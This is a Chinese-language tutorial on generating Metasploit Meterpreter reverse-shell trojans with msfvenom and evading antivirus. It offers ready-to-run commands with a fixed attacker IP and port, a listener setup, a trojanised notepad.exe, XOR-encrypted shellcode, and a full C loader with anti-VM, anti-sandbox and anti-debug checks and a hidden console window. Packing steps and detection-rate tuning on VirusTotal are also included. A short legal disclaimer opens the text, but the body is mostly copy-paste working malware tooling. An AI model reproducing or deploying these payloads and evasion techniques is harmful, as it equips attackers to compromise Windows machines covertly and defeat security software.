
Kali Linux MSF生成木马与免杀实战教程
[bookmark: heading_0]⚠️ 法律与合规声明（必看）
本教程仅用于授权渗透测试、网络安全教学与研究，严禁用于非法入侵、窃取他人数据、破坏计算机系统等违法违规活动。使用本教程中的技术和命令，必须获得目标系统的合法授权，违者将自行承担全部法律责任，与教程编写者无关。
[bookmark: heading_1]一、基础概念（理解核心，才能做好免杀）
[bookmark: heading_2]1.1 核心工具说明（注释：Kali默认已安装，无需额外配置，重点记用途）
· msfvenom：Metasploit框架集成的Payload（木马核心）生成工具，替代旧版的msfpayload和msfencode，功能更全面，支持生成各类平台（Windows、Linux、Android）的木马，可实现编码、加密、捆绑等免杀基础操作。
· Meterpreter：Metasploit的高级Payload，不是简单的“病毒”，而是一个交互式的后渗透工具，能实现内存执行、文件操作、提权、屏幕控制、键盘记录等完整后渗透功能，本教程全程使用最稳定的reverse_tcp（反向连接）模式（注释：反向连接=靶机主动连接攻击机，可绕过靶机防火墙，成功率更高）。
· 免杀（Anti-Virus Evasion）：核心是“欺骗杀毒软件（AV/EDR）”，通过技术手段修改Payload的特征、执行方式，让杀软无法识别其为恶意程序，核心是绕过杀软的三大检测机制（后面详细讲）。
[bookmark: heading_3]1.2 杀软检测原理（免杀的核心前提，必须理解）
免杀的本质是“破坏杀软的检测逻辑”，先搞懂杀软怎么查毒，才能针对性做免杀，以下是主流杀软的4种核心检测方式，也是我们后续免杀的突破点：
1. 静态检测（最基础，最易绕过）：杀软会提取文件的哈希值、特征码、PE结构（Windows可执行文件结构）、字符串（比如Payload里的“reverse_tcp”）、导入表（程序调用的系统函数），与自身病毒库比对，只要有一项匹配，就判定为病毒。
注释：基础木马之所以极易被杀，就是因为其特征码、字符串完全匹配杀软病毒库。
2. 动态检测（进阶检测，难度稍高）：杀软会监控程序运行时的行为，比如程序是否创建异常进程、是否注入其他进程内存、是否修改注册表、是否发起反向连接，只要触发杀软的行为规则，就会被拦截。
3. 沙箱/虚拟机检测（防测试，针对性规避）：杀软会模拟虚拟环境（沙箱、虚拟机），让程序在虚拟环境中运行，若程序是恶意的，会在虚拟环境中暴露恶意逻辑；反之，合法程序则正常运行。很多免杀失败，就是因为没规避沙箱检测。
4. 内存检测（深层检测，需特殊处理）：杀软会扫描系统内存中的Shellcode（木马核心代码）特征，即使文件本身没被检测到，一旦Shellcode加载到内存，被扫描到特征，依然会被查杀。
[bookmark: heading_4]二、Kali MSF生成基础木马（无免杀，用于测试连接，必学）
[bookmark: heading_5]2.1 环境准备（注释：Kali默认已配置，执行以下命令确认环境正常）
	bash
# 1. 更新系统依赖（确保metasploit-framework是最新版，避免命令报错）
sudo apt update && sudo apt install metasploit-framework -y

# 2. 确认攻击机IP（本教程已固定为192.168.44.129，执行此命令验证IP是否正确）
ip a  # 查看eth0网卡的IP，确认是192.168.44.129，若不是，需重新配置KaliIP


[bookmark: heading_6]2.2 msfvenom基础命令解析（固定参数，无需修改）
本教程所有命令均固定以下参数，无需手动调整，复制即可执行：
· -p：指定Payload（木马核心），根据靶机系统选择32位/64位
· LHOST=192.168.44.129：固定为Kali攻击机IP（已写死，无需修改）
· LPORT=4444：固定监听端口（选择4444端口，避开常用端口，减少被拦截概率）
· -f exe：固定输出格式为exe（适配Windows靶机，最常用）
· -o 文件名.exe：固定输出文件名，便于区分不同版本的木马
[bookmark: heading_7]2.3 生成Windows 32/64位基础木马（注释：无免杀，仅用于测试连接，大概率会被杀毒软件查杀）
	bash
# 1. Windows 32位基础木马（适配Win7及以下32位系统，文件名：shell.exe）
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.44.129 LPORT=4444 -f exe -o shell.exe

# 2. Windows 64位基础木马（适配Win10/11/Win8 64位系统，兼容性更好，推荐使用，文件名：shell64.exe）
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.44.129 LPORT=4444 -f exe -o shell64.exe


注释：生成后，将exe文件复制到Windows靶机（需关闭靶机杀软，否则会被立即查杀），后续启动监听后，运行exe即可建立连接。
补充：生成木马时常见报错解析（对应你执行命令的报错）
执行基础木马生成命令后，若出现以下报错/提示，属于正常现象，无需担心，不影响木马生成和使用：
	bash
Calling `DidYouMean::SPELL_CHECKERS.merge!(error_name => spell_checker)' has been deprecated. Please call `DidYouMean.correct_error(error_name, spell_checker)' instead.
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: shell64.exe


报错/提示逐一解析：
· DidYouMean::SPELL_CHECKERS.merge! 已废弃：属于Ruby语言依赖库的版本兼容提示，不影响msfvenom功能，无需处理，后续更新metasploit-framework可缓解。
· No platform was selected...No arch selected...：提示未手动指定系统平台（Platform）和架构（arch），msfvenom自动从Payload（windows/x64/meterpreter/reverse_tcp）中识别出“Windows平台、x64架构”，属于正常自动适配，无需额外添加参数。
· No encoder specified, outputting raw payload：提示未指定编码器（-e参数），因此输出原始Payload（未进行编码混淆），这也是“基础木马极易被杀”的原因，后续执行编码免杀命令时添加-e x86/shikata_ga_nai即可解决。
· Payload size: 510 bytes...Saved as: shell64.exe：此为成功提示，说明木马已生成完成，Payload（核心代码）大小510字节，最终exe文件大小7168字节，保存为shell64.exe，可正常使用。
[bookmark: heading_8]2.4 启动MSF监听（接收靶机连接，固定命令，复制执行）
攻击机（Kali）需启动监听，等待靶机运行木马后主动连接，命令固定，无需修改，步骤如下：
	bash
# 1. 启动Metasploit控制台（msfconsole）
msfconsole

# 2. 加载监听模块（multi/handler是通用监听模块，支持所有反向连接Payload）
use exploit/multi/handler

# 3. 配置Payload（必须与生成木马时的Payload一致，否则无法建立连接）
# 若生成的是64位木马（shell64.exe），执行以下3行
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.44.129
set LPORT 4444

# 若生成的是32位木马（shell.exe），将上面第一行改为：set PAYLOAD windows/meterpreter/reverse_tcp

# 4. 启动监听（等待靶机连接，启动后不要关闭控制台）
run


注释：监听启动后，靶机运行对应的exe木马，攻击机将自动获取Meterpreter会话（出现“meterpreter > ”即为连接成功），可执行后续后渗透操作（如ls、pwd、screenshot等）。
[bookmark: heading_9]三、免杀原理与实战（从基础到进阶，逐步提升免杀率）
核心逻辑：从“破坏杀软检测机制”出发，先绕过静态检测，再规避动态检测、沙箱检测，逐步提升免杀效果，最终实现“杀软不报警、木马能正常运行并回连”。
[bookmark: heading_10]3.1 基础免杀：编码混淆（绕过静态检测，最简单、最基础）
[bookmark: heading_11]原理详解
杀软的静态检测依赖“固定特征码”，编码混淆的核心是：用编码器对木马的Shellcode（核心恶意代码）进行多轮异或、循环移位、多态变形，每次生成的Payload哈希值、特征码、字符串都完全不同，从而破坏杀软的静态特征库匹配，达到绕过静态检测的目的。
关键说明：本教程使用MSF中免杀效果最好的编码器x86/shikata_ga_nai（MSF官方评级excellent），其特点是：多态变形（每次编码结果不同）、动态密钥（编码密钥随机生成）、循环异或（多层加密），是基础免杀的首选。
补充参数：-e 指定编码器，-i 指定编码迭代次数（5-15次最佳，次数过少，特征未完全破坏；次数过多（>20），会导致Shellcode体积过大、解码失败，程序无法运行）。
[bookmark: heading_12]实战命令（固定IP和参数，复制即可执行）
	bash
# 1. 32位编码免杀木马（12次编码，文件名：shell_encode.exe）
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.44.129 LPORT=4444 -e x86/shikata_ga_nai -i 12 -f exe -o shell_encode.exe

# 2. 64位编码免杀木马（12次编码，推荐使用，文件名：shell64_encode.exe）
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.44.129 LPORT=4444 -e x86/shikata_ga_nai -i 12 -f exe -o shell64_encode.exe


注释：编码后的木马，静态检测率会大幅降低，但仍可能被动态检测、内存检测拦截，适合用于测试杀软的静态检测规避效果。
[bookmark: heading_13]3.2 进阶免杀1：捆绑合法程序（伪装+PE结构混淆，提升免杀率）
[bookmark: heading_14]原理详解
核心是“伪装”：将恶意Payload注入到正常、合法的PE文件（如Windows自带的notepad.exe、putty.exe，或常用软件安装包）中，保留原合法程序的所有功能（比如notepad.exe能正常打开记事本），同时将恶意代码作为新线程注入到程序中，后台运行、悄悄回连。
免杀逻辑：通过捆绑，改变了恶意程序的PE结构、导入表、资源段，杀软扫描时，优先识别到合法程序的特征，忽略隐藏在其中的恶意代码，从而同时绕过静态检测（结构改变）和部分动态检测（伪装成合法程序行为）。
关键参数：-x 指定合法程序模板（需提前从Windows复制到Kali的/root目录），-k 保留原程序执行逻辑（必加，否则原程序无法正常运行，容易被怀疑）。
[bookmark: heading_15]实战步骤（详细注释，一步不落地执行）
1. 准备模板程序：从Windows系统（任意版本）中，找到notepad.exe（路径：C:\Windows\notepad.exe），将其复制到Kali的/root目录下（可通过U盘、共享文件夹、wget等方式传输）。
2. 生成捆绑免杀木马（固定命令，复制执行，文件名：notepad_backdoor.exe）：msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.44.129 LPORT=4444 -e x86/shikata_ga_nai -i 12 -x notepad.exe -k -f exe -o notepad_backdoor.exe
3. 测试效果：将生成的notepad_backdoor.exe复制到靶机，运行后，会正常打开记事本（伪装效果），同时后台悄悄回连攻击机（需提前启动监听），杀软大概率不会报警（除非杀软检测到程序的异常线程）。
注释：模板程序建议选择系统自带或常用的合法程序（如calc.exe、mspaint.exe），这类程序的特征在杀软中是“信任”的，伪装效果更好；避免使用小众程序，可能本身就被杀软标记。
[bookmark: heading_16]3.3 进阶免杀2：Shellcode加密+自定义加载器（绕过静态+内存检测，免杀效果大幅提升）
[bookmark: heading_17]原理详解
这是目前最常用、免杀效果最好的基础方案，核心分两步，双重规避检测：
1. Shellcode加密：生成Raw格式的Shellcode（纯机器码，无文件头），用XOR/AES等加密算法加密，加密后的Shellcode是乱码，静态扫描时，杀软无法识别其为恶意代码，彻底绕过静态检测。
2. 自定义加载器：编写C/C++加载器（合法程序），程序运行时，先在内存中解密Shellcode，再执行解密后的Shellcode，避免Shellcode落地（不写入磁盘），同时减少内存中Shellcode的暴露时间，绕过内存检测和动态检测。
关键优势：加密后的Shellcode无静态特征，加载器本身是合法程序，运行时仅在内存中解密执行恶意代码，杀软难以捕捉到恶意行为，免杀率远高于编码、捆绑。
[bookmark: heading_18]实战步骤（详细注释，可直接复制操作）
[bookmark: heading_19]步骤1：生成XOR加密的Raw Shellcode（固定命令）
	bash
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.44.129 LPORT=4444 -e x86/shikata_ga_nai -i 15 --encrypt xor --encrypt-key "msf2025" -f raw -o shellcode.raw


参数注释：
· --encrypt xor：指定加密算法为XOR（简单、高效，不易被查杀，适合入门）
· --encrypt-key "msf2025"：自定义加密密钥（可修改为任意复杂字符串，密钥越复杂，加密效果越好，解密时需与加载器中的密钥一致）
· -f raw：输出为Raw格式（纯机器码，无文件头，便于后续嵌入加载器）
· -i 15：15次编码，配合加密，进一步破坏静态特征
[bookmark: heading_20]步骤2：生成Shellcode的十六进制格式（用于嵌入加载器）
Raw格式的shellcode.raw无法直接嵌入C语言代码，需转换为十六进制数组，执行以下命令：
	bash
xxd -i shellcode.raw > shellcode.h


注释：执行后，会生成shellcode.h文件，打开该文件，里面的shellcode[]数组，就是我们需要嵌入加载器的加密Shellcode（复制该数组即可）。
[bookmark: heading_21]步骤3：编写C语言加载器（完整代码，可直接复制，含反沙箱基础代码）
创建loader.c文件（Kali中执行nano loader.c，粘贴以下代码，保存退出），代码含详细注释，无需修改，仅需替换Shellcode数组：
	c
#include <windows.h>
#include <stdio.h>
#include <string.h>

// 替换为shellcode.h文件中的shellcode数组（复制全部内容，替换下面的示例数组）
// 示例数组（仅作参考，需替换为自己生成的shellcode）
unsigned char shellcode[] = {
    0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
    0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
    0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
    0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
    0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
    0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
    0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
    0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
    0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
    0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
    0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
    0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
    0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
    0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
    0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
    0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
    0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
    0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
    0x63,0x00
};

// XOR解密函数（密钥必须与生成Shellcode时的--encrypt-key一致，此处为"msf2025"）
void xor_decrypt(unsigned char *data, size_t len, const char *key) {
    size_t key_len = strlen(key);  // 获取密钥长度
    for (size_t i = 0; i < len; i++) {
        data[i] ^= key[i % key_len];  // 循环异或解密，确保所有Shellcode都能解密
    }
}

// 反沙箱检测（简单检测虚拟机，避免在沙箱中暴露恶意逻辑）
BOOL IsVM() {
    char buf[512];
    HKEY hKey;
    // 检测注册表中是否有VMware虚拟机的标识
    if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, "HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 0\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
        DWORD type, sz = sizeof(buf);
        RegQueryValueExA(hKey, "Identifier", NULL, &type, (LPBYTE)buf, &sz);
        RegCloseKey(hKey);
        // 若注册表中包含"VMware"，说明在虚拟机（沙箱）中，返回真
        return strstr(buf, "VMware") != NULL;
    }
    return FALSE;
}

// 主函数（程序入口）
int main() {
    // 1. 反沙箱检测：若在虚拟机/沙箱中，直接退出程序，避免被检测
    if (IsVM()) { ExitProcess(0); }
    
    // 2. 隐藏控制台窗口：运行后不显示黑窗口，降低靶机用户警惕性
    HWND hWnd = GetConsoleWindow();
    ShowWindow(hWnd, SW_HIDE);
    
    // 3. 解密Shellcode（密钥与生成时一致，不可修改）
    const char *key = "msf2025";
    xor_decrypt(shellcode, sizeof(shellcode), key);
    
    // 4. 申请可执行内存：为解密后的Shellcode申请内存，权限为"可执行、可读、可写"
    LPVOID mem = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (mem == NULL) return 1;  // 内存申请失败，退出程序
    
    // 5. 复制Shellcode到申请的内存中
    memcpy(mem, shellcode, sizeof(shellcode));
    
    // 6. 执行Shellcode（触发反向连接，连接攻击机）
    ((void(*)())mem)();
    
    return 0;
}


[bookmark: heading_22]步骤4：Kali中交叉编译加载器（生成exe文件，固定命令）
Kali中安装MinGW交叉编译器（用于将C语言代码编译为Windows可执行文件），然后编译加载器，命令如下：
	bash
# 1. 安装MinGW交叉编译器（仅首次安装需要）
sudo apt install mingw-w64 -y

# 2. 编译64位加载器（适配Win10/11，推荐，文件名：loader.exe）
x86_64-w64-mingw32-gcc loader.c -o loader.exe -s -w -O2

# 3. （可选）编译32位加载器（适配Win7及以下，文件名：loader32.exe）
i686-w64-mingw32-gcc loader.c -o loader32.exe -s -w -O2


参数注释：
· -s：剥离程序的符号表，减小文件体积，同时消除调试信息，避免被杀软识别为“可疑调试程序”。
· -w：关闭编译警告，避免警告信息被杀软识别为异常。
· -O2：优化代码，混淆代码结构，进一步降低静态检测率。
注释：编译成功后，会生成loader.exe（64位），复制到靶机运行，即可后台回连攻击机，免杀率可达80%以上（需配合后续加壳，进一步提升）。
[bookmark: heading_23]3.4 进阶免杀3：加壳/虚拟化保护（绕过静态+部分动态检测，进一步提升免杀率）
[bookmark: heading_24]原理详解
加壳的核心是“对编译后的exe文件进行二次加密、压缩、虚拟化”，改变文件的结构、代码段、导入表，让杀软无法解压、还原原始的加载器和Shellcode，从而绕过静态检测；同时，部分加壳工具（如VMProtect）会对代码进行虚拟化处理，让杀软无法分析程序的执行逻辑，规避动态检测。
常用加壳工具对比（入门推荐）：
· UPX：开源免费，操作简单，主要功能是压缩+简单加密，能快速改变文件结构，但由于使用广泛，易被杀软识别，建议配合编码+加载器使用（不单独使用）。
· Hyperion：开源加密壳，比UPX更安全，支持AES加密，免杀效果更好，适合入门进阶。
· VMProtect/Themida：商业加壳工具，虚拟化保护能力强，免杀效果极佳，但需要付费，适合专业场景。
[bookmark: heading_25]实战（UPX加壳，简单易操作，固定命令）
	bash
# 1. 安装UPX（仅首次安装需要）
sudo apt install upx -y

# 2. 对loader.exe（64位加载器）进行加壳，生成加壳后的免杀木马（文件名：loader_upx.exe）
upx -9 loader.exe -o loader_upx.exe


参数注释：-9 表示最高压缩率，压缩率越高，文件体积越小，静态特征越难被识别。
注释：加壳后的loader_upx.exe，免杀率会进一步提升，可通过Virustotal（在线多引擎扫描）验证，检测率通常可控制在10%以下。
[bookmark: heading_26]3.5 进阶免杀4：反沙箱/反调试（绕过动态检测，避免被沙箱拦截）
[bookmark: heading_27]原理详解
很多免杀失败的原因，不是木马本身被检测，而是木马在杀软的沙箱（虚拟环境）中运行时，暴露了恶意逻辑，被杀软捕捉到。反沙箱/反调试的核心是：在加载器中加入检测代码，判断程序是否在沙箱、虚拟机、调试器中运行，若是，则立即退出程序或执行正常逻辑，避免暴露恶意行为；若在真实环境中，则执行解密和Shellcode，实现回连。
常用检测点（已在加载器中集成基础检测，可扩展）：
· 检测调试器：通过IsDebuggerPresent()函数，判断是否有调试器附加（杀软常用调试器分析程序）。
· 检测虚拟机：通过注册表、CPU核心数、内存大小、磁盘序列号等，判断是否在VMware、VirtualBox等虚拟机中。
· 检测沙箱：通过检测系统进程（如沙箱进程）、文件路径、系统时间等，判断是否在沙箱环境中。
[bookmark: heading_28]加载器扩展反沙箱代码（可选，进一步提升免杀率）
在之前的loader.c中，已集成基础的虚拟机检测，可添加以下代码，增强反沙箱效果（添加在IsVM()函数之后、主函数之前）：
	c
// 检测调试器（若有调试器附加，立即退出）
BOOL IsDebugger() {
    return IsDebuggerPresent();
}

// 检测CPU核心数（沙箱通常只有1-2个核心，真实机器一般≥4个）
BOOL IsSandbox() {
    SYSTEM_INFO si;
    GetSystemInfo(&si);
    if (si.dwNumberOfProcessors < 4) {
        return TRUE;  // 核心数<4，判定为沙箱
    }
    return FALSE;
}


然后在主函数开头，添加检测逻辑：
	c
// 主函数开头添加
if (IsDebugger() || IsSandbox() || IsVM()) {
    ExitProcess(0);  // 只要满足一个检测条件，立即退出
}


注释：添加后，重新编译加载器、加壳，可进一步规避沙箱检测，降低被动态拦截的概率。
[bookmark: heading_29]四、免杀效果验证（关键步骤，确保木马可用）
免杀不是“生成后就完事”，必须进行验证，确保在靶机中能正常运行、回连，且不被杀软查杀，推荐3种验证方式：
1. 本地测试（最基础）：
        
· 靶机关闭杀软实时防护，运行木马（如loader_upx.exe），确认攻击机能正常获取Meterpreter会话。
· 开启靶机杀软，扫描木马文件，查看是否报毒；若报毒，需调整编码次数、密钥、加壳方式。
2. 在线多引擎扫描（最权威）：
        上传木马文件到Virustotal（免费在线多引擎扫描），查看检测率（目标：检测率<10%，检测率越低，免杀效果越好）。注释：若检测率过高，可调整以下参数：增加编码次数（15-20次）、修改加密密钥、更换加壳工具（如用Hyperion替代UPX）、扩展反沙箱代码。
3. 内存检测验证（深层验证）：
        靶机运行木马后，用杀软执行“内存扫描”，查看是否触发内存查杀；若被查杀，需优化加载器的内存执行逻辑（如增加Shellcode执行后的清理代码）。
[bookmark: heading_30]五、完整免杀流程（最佳实践，一步到位）
整合以上所有步骤，形成完整的免杀流程，按顺序执行，可实现最佳免杀效果，适合新手操作：
1. 生成加密+多轮编码的Raw Shellcode（固定命令）：
        msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.44.129 LPORT=4444 -e x86/shikata_ga_nai -i 15 --encrypt xor --encrypt-key "msf2025" -f raw -o shellcode.raw
2. 转换Shellcode为十六进制数组：xxd -i shellcode.raw > shellcode.h
3. 编写含反沙箱/反调试的C加载器，嵌入十六进制Shellcode（复制shellcode.h中的数组）。（详细步骤如下，全程复制操作即可，无需手动编写代码）：

              ① 打开Kali终端，进入当前工作目录（与shellcode.h文件在同一目录，可执行pwd确认目录，执行ls确认shellcode.h已存在）。

              ② 创建loader.c加载器文件，执行命令：nano loader.c（nano是Kali默认文本编辑器，简单易操作，适合新手）。

              ③ 复制以下完整C语言加载器代码（含反沙箱、反调试、XOR解密功能，代码已写好所有逻辑，无需修改），粘贴到nano编辑器中：
#include <windows.h>
#include <stdio.h>
#include <string.h>

// 替换为shellcode.h文件中的shellcode数组（复制全部内容，替换下面的示例数组）
// 示例数组（仅作参考，需替换为自己生成的shellcode）
unsigned char shellcode[] = {
    0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
    0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
    0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
    0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
    0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
    0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
    0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
    0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
    0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
    0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
    0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
    0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
    0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
    0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
    0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
    0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
    0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
    0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
    0x63,0x00
};

// XOR解密函数（密钥必须与生成Shellcode时的--encrypt-key一致，此处为"msf2025"，不可修改）
void xor_decrypt(unsigned char *data, size_t len, const char *key) {
    size_t key_len = strlen(key);  // 获取密钥长度
    for (size_t i = 0; i < len; i++) {
        data[i] ^= key[i % key_len];  // 循环异或解密，确保所有Shellcode都能解密
    }
}

// 反调试检测（若有调试器附加，立即退出，避免被杀软分析）
BOOL IsDebugger() {
    return IsDebuggerPresent();
}

// 反沙箱检测（检测CPU核心数，沙箱通常1-2个核心，真实机器一般≥4个）
BOOL IsSandbox() {
    SYSTEM_INFO si;
    GetSystemInfo(&si);
    if (si.dwNumberOfProcessors < 4) {
        return TRUE;  // 核心数<4，判定为沙箱，立即退出
    }
    return FALSE;
}

// 反虚拟机检测（检测注册表中VMware标识，避免在虚拟机/沙箱中暴露恶意逻辑）
BOOL IsVM() {
    char buf[512];
    HKEY hKey;
    // 检测注册表中是否有VMware虚拟机的标识
    if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, "HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 0\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
        DWORD type, sz = sizeof(buf);
        RegQueryValueExA(hKey, "Identifier", NULL, &type, (LPBYTE)buf, &sz);
        RegCloseKey(hKey);
        // 若注册表中包含"VMware"，说明在虚拟机（沙箱）中，返回真
        return strstr(buf, "VMware") != NULL;
    }
    return FALSE;
}

// 主函数（程序入口，核心执行逻辑）
int main() {
    // 反沙箱/反调试/反虚拟机检测：只要满足一个条件，立即退出，避免被检测
    if (IsDebugger() || IsSandbox() || IsVM()) { ExitProcess(0); }
    
    // 隐藏控制台窗口：运行后不显示黑窗口，降低靶机用户警惕性，避免被发现
    HWND hWnd = GetConsoleWindow();
    ShowWindow(hWnd, SW_HIDE);
    
    // 解密Shellcode（密钥与生成Shellcode时的--encrypt-key一致，必须是"msf2025"）
    const char *key = "msf2025";
    xor_decrypt(shellcode, sizeof(shellcode), key);
    
    // 申请可执行内存：为解密后的Shellcode申请内存，权限为"可执行、可读、可写"
    LPVOID mem = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (mem == NULL) return 1;  // 内存申请失败，直接退出程序，避免报错暴露
    
    // 复制Shellcode到申请的内存中，准备执行
    memcpy(mem, shellcode, sizeof(shellcode));
    
    // 执行Shellcode（触发反向连接，连接Kali攻击机192.168.44.129:4444）
    ((void(*)())mem)();
    
    return 0;
}
              ④ 打开shellcode.h文件，复制其中的十六进制数组：执行命令nano shellcode.h，打开后会看到类似unsigned char shellcode_raw[] = {0xfc,0x48,...};的内容（数组名可能是shellcode_raw，无需修改数组名），选中整个数组（从{开始，到}结束，包括里面的所有十六进制数值和逗号），复制（快捷键：Ctrl+Shift+C）。

              ⑤ 替换loader.c中的示例数组：回到loader.c的nano编辑器，找到开头的unsigned char shellcode[] = {...，选中整个示例数组（从{到}），粘贴刚才复制的shellcode.h中的数组（快捷键：Ctrl+Shift+V），完成替换（替换后，数组内容与shellcode.h中的完全一致，无需修改其他内容）。

              ⑥ 保存并退出loader.c：替换完成后，按下快捷键Ctrl+O（保存），然后按下Enter确认保存，最后按下Ctrl+X退出nano编辑器，此时loader.c文件已创建完成，且已嵌入加密后的Shellcode，同时包含反沙箱、反调试功能。
 ⑦ 检查加载器文件：执行命令ls，若能看到loader.c文件，说明步骤执行成功，可进入下一步编译操作。

              注意事项：1. 替换数组时，务必完整复制shellcode.h中的数组，不要遗漏任何一个字符、逗号或括号，否则会导致编译失败；2. 密钥"msf2025"必须与生成Shellcode时的--encrypt-key "msf2025"一致，不可修改，否则解密失败，木马无法运行；3. 若复制粘贴时出现格式错乱，重新复制粘贴即可，确保代码无语法错误。
          
4. MinGW交叉编译加载器，剥离符号、优化代码：
        x86_64-w64-mingw32-gcc loader.c -o loader.exe -s -w -O2
5. 使用Hyperion/UPX加壳（推荐Hyperion，免杀效果更好）：
        # Hyperion加壳（需提前下载Hyperion，命令参考）
./Hyperion.exe loader.exe loader_hyperion.exe
6. Virustotal验证检测率，若过高，调整编码次数、密钥、加壳参数。
7. 启动MSF监听，靶机运行加壳后的木马，确认能正常回连。
[bookmark: heading_31]六、常见问题与注意事项（避坑关键）
· 编码次数过多（>20）：会导致Shellcode体积过大、解码失败，程序无法运行，建议控制在10-15次，兼顾免杀效果和程序稳定性。
· 单纯UPX加壳：极易被360、火绒、Windows Defender查杀，UPX仅作为辅助，必须配合编码+加载器使用，优先选择Hyperion等加密壳。
· 反向连接失败：检查3点：① Kali防火墙是否关闭（执行ufw disable）；② 靶机与Kali是否在同一局域网（IP段一致：192.168.44.x）；③ 监听端口（4444）是否被占用（执行netstat -tuln | grep 4444，若占用，更换端口）。
· 免杀时效性：杀软病毒库会持续更新，今天能免杀的木马，明天可能就会被查杀，需定期调整免杀方案（更换编码方式、加密密钥、加壳工具）。
